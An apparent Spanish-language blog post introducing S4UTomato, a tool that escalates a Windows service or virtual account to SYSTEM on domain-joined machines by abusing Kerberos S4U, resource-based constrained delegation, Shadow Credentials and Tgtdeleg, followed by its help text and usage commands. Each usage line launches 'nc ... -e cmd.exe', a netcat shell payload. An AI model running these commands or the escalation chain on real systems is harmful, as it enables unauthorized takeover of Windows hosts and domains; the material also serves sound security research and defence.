
Escalar cuenta de servicio a LocalSystem mediante Kerberos
Escalar cuenta de servicio a LocalSystem mediante Kerberos.
Los amigos familiarizados con la serie "Potato" de escalada de privilegios deben saber que puede elevar privilegios de cuentas de servicio a privilegios de sistema local. Las técnicas de explotación tempranas de "Potato" son casi idénticas: aprovechar ciertas características de las interfaces COM, engañar a la cuenta NT AUTHORITY\SYSTEM para que se conecte y autentique en un servidor RPC controlado por el atacante. Luego, a través de una serie de llamadas API, se ejecuta un ataque intermediario (NTLM Relay) durante este proceso de autenticación, lo que resulta en la generación de un token de acceso para la cuenta NT AUTHORITY\SYSTEM en el sistema local. Finalmente, este token es robado, y se utiliza la función CreateProcessWithToken() o CreateProcessAsUser() para pasar el token y crear un nuevo proceso para obtener privilegios SYSTEM.
En un entorno de dominio de Windows, las cuentas SYSTEM, NT AUTHORITY\NETWORK SERVICE y cuentas virtuales de Microsoft son utilizadas para la autenticación por parte de las cuentas de equipo del sistema que están unidas al dominio. Entender esto es crucial porque en versiones modernas de Windows, la mayoría de los servicios de Windows se ejecutan por defecto usando cuentas virtuales de Microsoft. Notablemente, IIS y MSSQL usan estas cuentas virtuales, y creo que otras aplicaciones también podrían emplearlas. Por lo tanto, podemos abusar de la extensión S4U para obtener el ticket de servicio para la cuenta de administrador de dominio "Administrator" en la máquina local. Luego, con la ayuda de SCMUACBypass de James Forshaw (@tiraniddo), podemos usar ese ticket para crear un servicio del sistema y obtener privilegios SYSTEM. Esto logra el mismo efecto que los métodos tradicionales utilizados en la familia de técnicas de escalada de privilegios "Potato".
En cualquier escenario donde una máquina esté unida a un dominio, puedes aprovechar las técnicas mencionadas para la escalada de privilegios local siempre que puedas ejecutar código bajo el contexto de una cuenta de servicio de Windows o una cuenta virtual de Microsoft, siempre que Active Directory no haya sido endurecido para defenderse completamente contra tales ataques.
Antes de esto, necesitamos obtener un TGT (Ticket de Otorgamiento de Ticket) para la cuenta de la máquina local. Esto no es fácil debido a las restricciones impuestas por los permisos de la cuenta de servicio, lo que nos impide obtener la clave a largo plazo de la computadora y, por lo tanto, no poder construir una solicitud KRB_AS_REQ. Para lograr el objetivo mencionado, aproveché tres técnicas: Delegación Restringida Basada en Recursos, Credenciales Sombra, y Tgtdeleg. Construí mi proyecto basado en el conjunto de herramientas Rubeus.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Domain (FQDN) to authenticate to.
-s, --Server Host name of domain controller or LDAP server.
-m, --ComputerName The new computer account to create.
-p, --ComputerPassword The password of the new computer account to be created.
-f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
object.
-c, --Command Program to run.
-v, --Verbose Output verbose debug information.
--help Display this help screen.
--version Display version information.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# Primero recuperar el TGT a través de Tgtdeleg
S4UTomato.exe tgtdeleg
# Luego ejecutar SCMUACBypass para obtener privilegio SYSTEM
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
